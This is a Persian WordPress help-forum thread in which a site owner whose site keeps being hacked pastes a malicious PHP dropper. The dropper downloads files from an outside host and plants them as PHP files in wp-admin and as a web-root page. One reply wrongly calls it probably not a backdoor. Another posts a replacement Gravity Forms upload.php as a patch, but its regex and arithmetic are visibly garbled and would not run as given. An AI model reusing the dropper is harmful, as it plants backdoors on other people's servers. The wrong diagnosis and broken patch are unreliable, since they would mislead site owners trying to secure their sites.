آموزش های عمومیامنیتبخش وردپرسعمومیوردپرس

مشکل امنیتی عجیب

مشکل امنیتی عجیب
مشکل امنیتی عجیب
مشکل امنیتی عجیب
مشکل امنیتی عجیب
مشکل امنیتی عجیب

نوشته : d t c

سلام.

من از امنیت تقریبا هیچ چیز نمیدونم.

اخیرا هم فایل ها ارور خیلی حجمشون بالا رفته و فایل های عجیب و غریبی بدون اطلاع من روی سایت آپ شدن که شبیه باگ هستن!

به نظرم سایت باگ داره

خب چطوری باید پیداش کنم؟

به پشتیبانی میهن گفتم, گفتن به ما چه؟

حالا این سایت واس مال یعنی کلش ماس ماس چطوری امنتیش رو درست کنم؟

راستی اتک ها هم خیلی زیاد شدن چندتاشونو جت پک رفع کرد.

مثلا فایل error_log موجود در wp-content و wp-admin حدود یک تا سه مگ حجم داره و اخیرا فقط یک خطا رو میده:


[14-Apr-2015 20:21:44 Asia/Tehran] bla=true
[14-Apr-2015 20:21:45 Asia/Tehran] bla=
[14-Apr-2015 20:21:45 Asia/Tehran] bla=false
[14-Apr-2015 20:21:45 Asia/Tehran] bla=false
[14-Apr-2015 20:21:45 Asia/Tehran] bla=true
[14-Apr-2015 20:21:54 Asia/Tehran] bla=
[14-Apr-2015 20:21:54 Asia/Tehran] bla=false
[14-Apr-2015 20:21:54 Asia/Tehran] bla=false
[14-Apr-2015 20:21:54 Asia/Tehran] bla=true
[14-Apr-2015 20:22:03 Asia/Tehran] bla=
[14-Apr-2015 20:22:03 Asia/Tehran] bla=false
[14-Apr-2015 20:22:03 Asia/Tehran] bla=false
[14-Apr-2015 20:22:03 Asia/Tehran] bla=true
[14-Apr-2015 20:22:09 Asia/Tehran] bla=
[14-Apr-2015 20:22:09 Asia/Tehran] bla=false
[14-Apr-2015 20:22:09 Asia/Tehran] bla=false
[14-Apr-2015 20:22:09 Asia/Tehran] bla=true
[14-Apr-2015 20:22:16 Asia/Tehran] bla=
[14-Apr-2015 20:22:16 Asia/Tehran] bla=false
[14-Apr-2015 20:22:16 Asia/Tehran] bla=false
[14-Apr-2015 20:22:16 Asia/Tehran] bla=true
[14-Apr-2015 20:22:26 Asia/Tehran] bla=
[14-Apr-2015 20:22:26 Asia/Tehran] bla=false
[14-Apr-2015 20:22:26 Asia/Tehran] bla=false
[14-Apr-2015 20:22:26 Asia/Tehran] bla=true
[14-Apr-2015 20:22:28 Asia/Tehran] bla=
[14-Apr-2015 20:22:28 Asia/Tehran] bla=false
[14-Apr-2015 20:22:28 Asia/Tehran] bla=false
[14-Apr-2015 20:22:28 Asia/Tehran] bla=true
[14-Apr-2015 20:22:39 Asia/Tehran] bla=
[14-Apr-2015 20:22:39 Asia/Tehran] bla=false
[14-Apr-2015 20:22:39 Asia/Tehran] bla=false
[14-Apr-2015 20:22:39 Asia/Tehran] bla=true
[14-Apr-2015 20:23:02 Asia/Tehran] bla=
[14-Apr-2015 20:23:02 Asia/Tehran] bla=false
[14-Apr-2015 20:23:02 Asia/Tehran] bla=false
[14-Apr-2015 20:23:02 Asia/Tehran] bla=true
[14-Apr-2015 20:23:02 Asia/Tehran] bla=
[14-Apr-2015 20:23:02 Asia/Tehran] bla=false
[14-Apr-2015 20:23:02 Asia/Tehran] bla=false
[14-Apr-2015 20:23:02 Asia/Tehran] bla=true
[14-Apr-2015 20:23:10 Asia/Tehran] bla=
[14-Apr-2015 20:23:10 Asia/Tehran] bla=false
[14-Apr-2015 20:23:10 Asia/Tehran] bla=false
[14-Apr-2015 20:23:10 Asia/Tehran] bla=true
[14-Apr-2015 20:23:14 Asia/Tehran] bla=
[14-Apr-2015 20:23:14 Asia/Tehran] bla=false
[14-Apr-2015 20:23:14 Asia/Tehran] bla=false
[14-Apr-2015 20:23:14 Asia/Tehran] bla=true
[14-Apr-2015 20:23:17 Asia/Tehran] bla=
[14-Apr-2015 20:23:17 Asia/Tehran] bla=false
[14-Apr-2015 20:23:17 Asia/Tehran] bla=false
[14-Apr-2015 20:23:17 Asia/Tehran] bla=true
[14-Apr-2015 20:23:18 Asia/Tehran] bla=
[14-Apr-2015 20:23:18 Asia/Tehran] bla=false
[14-Apr-2015 20:23:18 Asia/Tehran] bla=false
[14-Apr-2015 20:23:18 Asia/Tehran] bla=true
[14-Apr-2015 20:23:23 Asia/Tehran] bla=
[14-Apr-2015 20:23:23 Asia/Tehran] bla=false
[14-Apr-2015 20:23:23 Asia/Tehran] bla=false
[14-Apr-2015 20:23:23 Asia/Tehran] bla=true
[14-Apr-2015 20:23:26 Asia/Tehran] bla=
[14-Apr-2015 20:23:26 Asia/Tehran] bla=false
[14-Apr-2015 20:23:26 Asia/Tehran] bla=false
[14-Apr-2015 20:23:26 Asia/Tehran] bla=true
[14-Apr-2015 20:23:31 Asia/Tehran] bla=
[14-Apr-2015 20:23:31 Asia/Tehran] bla=false
[14-Apr-2015 20:23:31 Asia/Tehran] bla=false
[14-Apr-2015 20:23:31 Asia/Tehran] bla=true
[14-Apr-2015 20:23:36 Asia/Tehran] bla=
[14-Apr-2015 20:23:36 Asia/Tehran] bla=false
[14-Apr-2015 20:23:36 Asia/Tehran] bla=false
[14-Apr-2015 20:23:36 Asia/Tehran] bla=true
[14-Apr-2015 20:23:40 Asia/Tehran] bla=
[14-Apr-2015 20:23:40 Asia/Tehran] bla=false
[14-Apr-2015 20:23:40 Asia/Tehran] bla=false
[14-Apr-2015 20:23:40 Asia/Tehran] bla=true
[14-Apr-2015 20:23:51 Asia/Tehran] bla=
[14-Apr-2015 20:23:51 Asia/Tehran] bla=false
[14-Apr-2015 20:23:51 Asia/Tehran] bla=false
[14-Apr-2015 20:23:51 Asia/Tehran] bla=true
[14-Apr-2015 20:23:52 Asia/Tehran] bla=
[14-Apr-2015 20:23:52 Asia/Tehran] bla=false
[14-Apr-2015 20:23:52 Asia/Tehran] bla=false
[14-Apr-2015 20:23:52 Asia/Tehran] bla=true

همان طور که توی تاریخ میبینید هر چند دقیقه خطا میده! حالا این خطا چیه؟؟

یا مثلا فایل _input_3_css.php5 توی پوشه wp-content ایجاد شده که محتواش اینه:


<?php
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/ed.php" ;
$text = http_get('adluckholdings.com/wp-admin/aa/1/css.txt');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
echo $check."
";
}else
echo "not exits";
echo "done .n " ;
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/hatty.php" ;
$text2 = http_get('adluckholdings.com/wp-admin/aa/1/hatty.txt');
$open2 = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
echo $check2."
";
}else
echo "not exits2";
echo "done2 .n " ;
$check3=$_SERVER['DOCUMENT_ROOT'] . "/w.htm" ;
$text3 = http_get('adluckholdings.com/wp-admin/aa/1/w.txt');
$op3=fopen($check3, 'w');
fwrite($op3,$text3);
fclose($op3);
?>

یه فایل w.htm هم بود که پاکش کردم.

قضیه چیه؟

میشه حلش کرد؟

چند وقت پیش هم یکی از افزونه هام باگ داشت یه هکر عراقی چندتا کاربر مدیر باهاش ساخته بود که خودش اومد گفت من این کارو کردم و این افزونه باگ داره و منم پاکش کردم…

راستی این eroor_log هم تو پوشه uploads بود:


[13-Apr-2015 23:06:40 Asia/Tehran] PHP Warning: curl_setopt() [function.curl-setopt]: CURLOPT_FOLLOWLOCATION cannot be activated when safe_mode is enabled or an open_basedir is set in /home4/wpfpwir/public_html/wp-content/uploads/_input_3_css.php5 on line 6
[13-Apr-2015 23:06:40 Asia/Tehran] PHP Warning: curl_setopt() [function.curl-setopt]: CURLOPT_FOLLOWLOCATION cannot be activated when safe_mode is enabled or an open_basedir is set in /home4/wpfpwir/public_html/wp-content/uploads/_input_3_css.php5 on line 6
[13-Apr-2015 23:06:41 Asia/Tehran] PHP Warning: curl_setopt() [function.curl-setopt]: CURLOPT_FOLLOWLOCATION cannot be activated when safe_mode is enabled or an open_basedir is set in /home4/wpfpwir/public_html/wp-content/uploads/_input_3_css.php5 on line 6

اگر کسی میتونه کمک کنه لطفا

نوشته : Black Sky

خب

قضیه کلا داستان داره

اما فکر نمیکنم بکدور یا چیزی مشابه باشه اما میشه پلاگینی باشه که برای خودش میاد اطلاعات شما جمع میکنه

از بالا به پایین میام :

خطا بالا میخوره که به زمان و تاریخ تعریف شده در فاکشن قالب باشد و یا… چیز خاصی نیست

2-تابع زیر میاد اطلاعات سر یه بازه زمانی چک میکنه


function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}

این خط هم میاد به مسیر سایت آدرس دهی میکنه و چک میکنه فایلی وحود دارد یا خیر


$check = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/ed.php" ;

با خط زیر برمیداره و در مسیر شما کپی میکنه


$text = http_get('adluckholdings.com/wp-admin/aa/1/css.txt');

البته دیکد شده کدها میشه :


www.unphp.net/decode/5083a18ef758212b7d4ecfd27c9305e3/

خط آخر خم میگخ به خاطر اینکه سرور شما دارای امنیت بوده و safe_mod فعال هست اجازه نمیده که curl شورع به کار کند

———–

شما پلاگین ها چک کنید و حذف کنید و از پوسته اطمینان پیدا کنید

وردپرس هم دستی بروزکنید

نوشته : d t c

آقا دستم به دامنتون.

من از امنیت هیچی نمیدونم دوباره امروز هم یه فایل هک اپلود شده بود.

اگر کسی هست میتونه باگ هارو پیدا کنه لطفا سریع تر پی ام بده هزینه اش هر چی باشه تقدیم میکنم.

یه باگ اساسی فکر کنم توی افزونه ها هست حالا چطوری باید فهمید تو کدوم افزونه و کجا؟

لطفا سریع تر پی ام بدید

نوشته : Black Sky

1-لیست افزونه ها قرار بدید

2-چه فایلی آپلود شده که شما مظنون به هک هستید ؟

3-آدرس سایت هم قرار بدید

نوشته : d t c

واقعا ممنونم که پیگیری میکنید.


Akismet: 3.1.1
Automatic break iframes: 1.0
Crayon Syntax Highlighter: 2.7.0
Disable Feeds: 1.4.1
FV Wordpress Flowplayer: 2.3.12
Gravity Forms: 1.8.19
Gravity Forms CSS Ready Class Selector: 1.1
Hacklog Remote Attachment: 1.3.0
Jetpack by WordPress.com: 3.4.1
MyMail - Email Newsletter Plugin for WordPress: 2.0.22
No CAPTCHA reCAPTCHA: 1.0.1
PBP Increase upload limit: 1.1
Persian Gravity Forms: 1.5.0
Search & Replace: 2.7.0
SEO Friendly Images: 3.0.5
Subscribe To Comments: 2.1.2
TinyMCE Advanced: 4.1.7
User Role Editor: 4.18.3
WooCommerce: 2.3.7
WooCommerce Checkout Manager: 3.6.8
Woocommerce Remove Quantity: 0.1
WordPress Importer: 0.6.1
WordPress SEO: 2.0.1
WP-Parsidate: 2.1.3
WP Category Tag Cloud: 1.6
WP Fastest Cache: 0.8.4.9
WP Rocket: 2.2.3
افزونه سئوی تصاویر: 1.0.0
افزونه پشتیبانی فارسی (ارسال تیکت وردپرس): 4.3
درگاه پارس پال Gravity Forms: 1.10.0
درگاه پرداخت پارس پال ووکامرس: 2.2
فرم ورود / عضویت / پنل کاربری: 1.1.3
ووکامرس پارسی: 2.3.7

اول فایلی که اول گفتم این قسمتش:


$check3=$_SERVER['DOCUMENT_ROOT'] . "/w.htm" ;

یه فایل بود که مثل صفحه هک بود که کلشون رو پاک کردم ولی امروز یه فایل با اسم hk.htm روی صفحه اصلی بود توش هم چندتا کلمه مثل hack – hacked by halako و… بود که پاکش کردم.

والا به افزونه های فرم ورود / عضویت / پنل کاربری و افزونه پشتیبانی فارسی (ارسال تیکت وردپرس) شک دارم.

http://delta-theme.com

واقعا ممنون :rolleyes:

راستی این دو افزونه ای هم که گفتم بهشون شک دارم با جستجو کردن نامشون توی گوگل اولین نتیجه هستند و اگه لطف کنیید ببینید باگی ندارند ممنونتان میشوم :)

نوشته : Black Sky

اینجوری نمیشه متوجه شد چون باید تک به تک بررسی کرد و از وحود باگ مطمئن شد

هر افزونه ای احتمال داشتن باگ درونش هست و چندی پیش دیدید افزونه وردپرس سئو هم باگ داشت

شما پلاگین ها غیر فعال کنید و تست کنید

درضمن دایرکتوری هم off کنید

خیلی از این افزونه ها نیاز نیستند و شما میتونید از کد استفاده کنید که در انجمن وجود دارد

سطح دسترسی فولدر هم محدود کنید

نوشته : d t c

مشکل اینجاست که من نمیدونم چطوری باید برسی کرد :( :| .

خب این تست که شما میگید یعنی چی دقیقا؟

دقیقا کدوم فولدر؟؟

مرسی وقت گذاشتید :*

نوشته : d t c

راستی.

در صورتی که هیچ به روز رسانی جدیدی برای وردپرس نیست یک پیغام برام اومده که بروز رسانی وردپرس با شکست مواجه شد!!!!!

هر افزونه ای هم که به روز رسانیش میاد و به روزش میکنم چند دقیقه سایت داون میشه.

این اواخر هم حداقل روزی 8 دقیقه سایت داونه که از میهن وب بعیده و فکر کنم مشکل از سایت باشه…

نوشته : d t c

این خطا ها همچنان در حال رخ دادن هستند!!!!


[17-Apr-2015 15:39:25 Asia/Tehran] bla=
[17-Apr-2015 15:39:25 Asia/Tehran] bla=false
[17-Apr-2015 15:39:25 Asia/Tehran] bla=false
[17-Apr-2015 15:39:25 Asia/Tehran] bla=true
[17-Apr-2015 15:39:27 Asia/Tehran] bla=
[17-Apr-2015 15:39:27 Asia/Tehran] bla=false
[17-Apr-2015 15:39:27 Asia/Tehran] bla=false
[17-Apr-2015 15:39:27 Asia/Tehran] bla=true
[17-Apr-2015 15:39:42 Asia/Tehran] bla=
[17-Apr-2015 15:39:42 Asia/Tehran] bla=false
[17-Apr-2015 15:39:42 Asia/Tehran] bla=false
[17-Apr-2015 15:39:42 Asia/Tehran] bla=true
[17-Apr-2015 15:39:44 Asia/Tehran] bla=
[17-Apr-2015 15:39:44 Asia/Tehran] bla=false
[17-Apr-2015 15:39:44 Asia/Tehran] bla=false
[17-Apr-2015 15:39:44 Asia/Tehran] bla=true
[17-Apr-2015 15:40:44 Asia/Tehran] bla=
[17-Apr-2015 15:40:44 Asia/Tehran] bla=false
[17-Apr-2015 15:40:44 Asia/Tehran] bla=false
[17-Apr-2015 15:40:44 Asia/Tehran] bla=true
[17-Apr-2015 15:40:47 Asia/Tehran] bla=
[17-Apr-2015 15:40:47 Asia/Tehran] bla=false
[17-Apr-2015 15:40:47 Asia/Tehran] bla=false
[17-Apr-2015 15:40:47 Asia/Tehran] bla=true
[17-Apr-2015 15:41:20 Asia/Tehran] bla=
[17-Apr-2015 15:41:20 Asia/Tehran] bla=false
[17-Apr-2015 15:41:20 Asia/Tehran] bla=false
[17-Apr-2015 15:41:20 Asia/Tehran] bla=true
[17-Apr-2015 15:41:31 Asia/Tehran] bla=
[17-Apr-2015 15:41:31 Asia/Tehran] bla=false
[17-Apr-2015 15:41:31 Asia/Tehran] bla=false
[17-Apr-2015 15:41:31 Asia/Tehran] bla=true
[17-Apr-2015 15:41:38 Asia/Tehran] bla=
[17-Apr-2015 15:41:38 Asia/Tehran] bla=false
[17-Apr-2015 15:41:38 Asia/Tehran] bla=false
[17-Apr-2015 15:41:38 Asia/Tehran] bla=true
[17-Apr-2015 15:42:29 Asia/Tehran] bla=
[17-Apr-2015 15:42:29 Asia/Tehran] bla=false
[17-Apr-2015 15:42:29 Asia/Tehran] bla=false
[17-Apr-2015 15:42:29 Asia/Tehran] bla=true

هیچ کس بلد نیست رفعشون کنه؟

کسی بلد نیست باگ سایتو پیدا کنه؟

نوشته : sir1

به نظر منم یا مشکل از افزونه هاست است یا قالب که این مشکلاتو به وجود میاره.

افزونه ها خیلی زیاد هستن که این خود باعث به وجود اوردن باگ در سایتت میشه.سعی کن برای هر امکانی افزونه نصب نکنید و درصورتی که حتما لزوم داشت نصشون کن.

منم مثل خودت زیاد از اهمیت سردرنمیام ولی توصیه میکنم سایتتو بده یکی که با هزینه هم بود برات رفع مشکل کنه.

موفق باشی

نوشته : Black Sky

نیاز به انقد ر اسپم نیست

شما افزونه ها پاک کنید و 2 تاپیک زیر بخوانید مشکل برطرف میشود

اگر بخواهید از افزونه باگ بگیرید و exploit اون submit کنید باید هزینه کنید و رفم بالاست عزیز:

http://ashiyane.org/forums/showthread.php?126583-gt-تاپیک-جامع-آموزش-های-تصویری-امنیت-ور

نوشته : jok3r

آسیب پذیری در افزونه gravity forms است !

برای پچ کردن هم میتونید به صورت دستی وارد مسیر : wp-content/plugins/gravityforms/includes/upload.php/ شوید و کد زیر رو جایگزین کنید :


<?php
if(!class_exists('GFForms')){
die();
}
/**
* upload.php
*
*
* Copyright 2009, Moxiecode Systems AB
* Released under GPL License.
*
* License: www.plupload.com/license
*
* Modified by Rocketgenius
*/
class GFAsyncUpload {
public static function upload() {
GFCommon::log_debug("GFAsyncUpload::upload() - Starting");
header('Content-Type: text/html; charset=' . get_option('blog_charset'));
send_nosniff_header();
nocache_headers();
status_header(200);
// If the file is bigger than the server can accept then the form_id might not arrive.
// This might happen if the file is bigger than the max post size ini setting.
// Validation in the browser reduces the risk of this happening.
if (!isset($_REQUEST["form_id_fix"])) {
GFCommon::log_debug("GFAsyncUpload::upload() - File upload aborted because the form_id was not found. The file may have been bigger than the max post size ini setting.");
die('{"status" : "error", "error" : {"code": 500, "message": "' . __("Failed to upload file.", "gravityforms") . '"}}');
}
$form_id = $_REQUEST["form_id_fix"];
$form_unique_id = rgpost("gform_unique_id_fix");
$form = GFFormsModel::get_form_meta($form_id);
$target_dir = GFFormsModel::get_upload_path($form_id) . DIRECTORY_SEPARATOR . "tmp" . DIRECTORY_SEPARATOR;
wp_mkdir_p($target_dir);
$cleanup_target_dir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds
// Chunking is not currently implemented in the front-end because it's not widely supported. The code is left here for when browsers catch up.
$chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
$chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0;
$file_name = isset($_REQUEST["name"]) ? $_REQUEST["name"] : '';
$field_id = rgpost("field_id_fix");
$field = GFFormsModel::get_field($form, $field_id);
// Clean the fileName for security reasons
$file_name = preg_replace('/[^w._] /', '_', $file_name);
$ext_pos = strrpos($file_name, '.');
$extension = strtolower(substr($file_name, $ext_pos 1));
$allowed_extensions = isset($field["allowedExtensions"]) && !empty($field["allowedExtensions"]) ? GFCommon::clean_extensions(explode(",", strtolower($field["allowedExtensions"]))) : array();
$disallowed_extensions = GFCommon::get_disallowed_file_extensions();
if (empty($field["allowedExtensions"]) && in_array($extension, $disallowed_extensions)) {
GFCommon::log_debug("GFAsyncUpload::upload() - illegal file extension: {$file_name})");
die('{"status" : "error", "error" : {"code": 104, "message": "' . __("The uploaded file type is not allowed.", "gravityforms") . '"}}');
} elseif (!empty($allowed_extensions) && !in_array($extension, $allowed_extensions)) {
GFCommon::log_debug("GFAsyncUpload::upload() - The uploaded file type is not allowed: {$file_name})");
die('{"status" : "error", "error" : {"code": 104, "message": "' . sprintf(__("The uploaded file type is not allowed. Must be one of the following: %s", "gravityforms"), strtolower($field["allowedExtensions"])) . '"}}');
}
$tmp_file_name = $form_unique_id . "_input_" . $field_id . "_" . $file_name;
$file_path = $target_dir . $tmp_file_name;
// Remove old temp files
if ($cleanup_target_dir) {
if (is_dir($target_dir) && ($dir = opendir($target_dir))) {
while (($file = readdir($dir)) !== false) {
$tmp_file_path = $target_dir . $file;
// Remove temp file if it is older than the max age and is not the current file
if (preg_match('/.part$/', $file) && (filemtime($tmp_file_path) < time() - $maxFileAge) && ($tmp_file_path != "{$file_path}.part")) {
GFCommon::log_debug("GFAsyncUpload::upload() - Deleting file: " . $tmp_file_path);
@unlink($tmp_file_path);
}
}
closedir($dir);
} else {
GFCommon::log_debug("GFAsyncUpload::upload() - Failed to open temp directory: " . $target_dir);
die('{"status" : "error", "error" : {"code": 100, "message": "' . __("Failed to open temp directory.", "gravityforms") . '"}}');
}
}
// Look for the content type header
if (isset($_SERVER["HTTP_CONTENT_TYPE"]))
$contentType = $_SERVER["HTTP_CONTENT_TYPE"];
if (isset($_SERVER["CONTENT_TYPE"]))
$contentType = $_SERVER["CONTENT_TYPE"];
// Handle non multipart uploads older WebKit versions didn't support multipart in HTML5
if (strpos($contentType, "multipart") !== false) {
if (isset($_FILES["file"]['tmp_name']) && is_uploaded_file($_FILES['file']['tmp_name'])) {
// Open temp file
$out = @fopen("{$file_path}.part", $chunk == 0 ? "wb" : "ab");
if ($out) {
// Read binary input stream and append it to temp file
$in = @fopen($_FILES["file"]['tmp_name'], "rb");
if ($in) {
while ($buff = fread($in, 4096))
fwrite($out, $buff);
} else {
die('{"status" : "error", "error" : {"code": 101, "message": "' . __("Failed to open input stream.", "gravityforms") . '"}}');
}
@fclose($in);
@fclose($out);
@unlink($_FILES["file"]['tmp_name']);
} else {
die('{"status" : "error", "error" : {"code": 102, "message": "' . __("Failed to open output stream.", "gravityforms") . '"}}');
}
} else {
die('{"status" : "error", "error" : {"code": 103, "message": "' . __("Failed to move uploaded file.", "gravityforms") . '"}}');
}
} else {
// Open temp file
$out = @fopen("{$file_path}.part", $chunk == 0 ? "wb" : "ab");
if ($out) {
// Read binary input stream and append it to temp file
$in = @fopen("php://input", "rb");
if ($in) {
while ($buff = fread($in, 4096))
fwrite($out, $buff);
} else {
die('{"status" : "error", "error" : {"code": 101, "message": "' . __("Failed to open input stream.", "gravityforms") . '"}}');
}
@fclose($in);
@fclose($out);
} else {
die('{"status" : "error", "error" : {"code": 102, "message": "' . __("Failed to open output stream.", "gravityforms") . '"}}');
}
}
// Check if file has been uploaded
if (!$chunks || $chunk == $chunks - 1) {
// Strip the temp .part suffix off
rename("{$file_path}.part", $file_path);
}
$uploaded_filename = $_FILES["file"]["name"];

$output = array("status" => "ok",
"data" => array("temp_filename" => $tmp_file_name ,
"uploaded_filename" => str_replace("\'", "'", urldecode($uploaded_filename)) //Decoding filename to prevent file name mismatch.
)
);
$output = json_encode($output);
GFCommon::log_debug(sprintf("GFAsyncUpload::upload() - File upload complete. temp_filename: %s uploaded_filename: %s ", $tmp_file_name, $uploaded_filename));
do_action('gform_post_multifile_upload', $form, $field, $uploaded_filename, $tmp_file_name, $file_path);
do_action("gform_post_multifile_upload_{$form["id"]}", $form, $field, $uploaded_filename, $tmp_file_name, $file_path);
die($output);
}
}
GFAsyncUpload::upload();

امیدوارم کمک کرده باشم


(1) راهحل مشکل عجیب امنیتی گوشی پیکسل 4
راهحل مشکل عجیب امنیتی گوشی پیکسل 4 - ایسنا


(2) مشکل عجیب امنیتی دیجی کالا در جشنواره
مشکل عجیب امنیتی دیجی کالا در جشنواره یلدا - خبرگزاری مهر اخبار ایران و جهان Mehr News Agency


(3) مشکل عجیب امنیتی دیجی کالا در جشنواره
مشکل عجیب امنیتی دیجی کالا در جشنواره یلدا لو رفتن اطلاعات شخصی


(4) مشکل عجیب ویندوز 10 به اشتراکگذاری رمز
مشکل عجیب ویندوز 10 به اشتراکگذاری رمز وایفای با دوستان شما


(5) نحوه عجیب قفل شدن گوشی های آیفون
نحوه عجیب قفل شدن گوشی های آیفون


(6) راهحل مشکل عجیب امنیتی گوشی پیکسل 4
راهحل مشکل عجیب امنیتی گوشی پیکسل 4


(7) مشکل امنیتی عجیب کروم 69 مشاهده
مشکل امنیتی عجیب کروم 69 مشاهده تاریخچه مرورگر در جیمیل


(8) راه حل مشکل عجیب امنیتی گوشی پیکسل 4 گوگل
راه حل مشکل عجیب امنیتی گوشی پیکسل 4 گوگل


(9) توضیحات سامسونگ در مورد یک اختلال عجیب
توضیحات سامسونگ در مورد یک اختلال عجیب امنیتی - خبرگزاری مهر اخبار ایران و جهان Mehr News Agency


(10) راهحل مشکل عجیب امنیتی گوشی پیکسل 4
راهحل مشکل عجیب امنیتی گوشی پیکسل 4 سروش خبر

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

10 + چهار =

دکمه بازگشت به بالا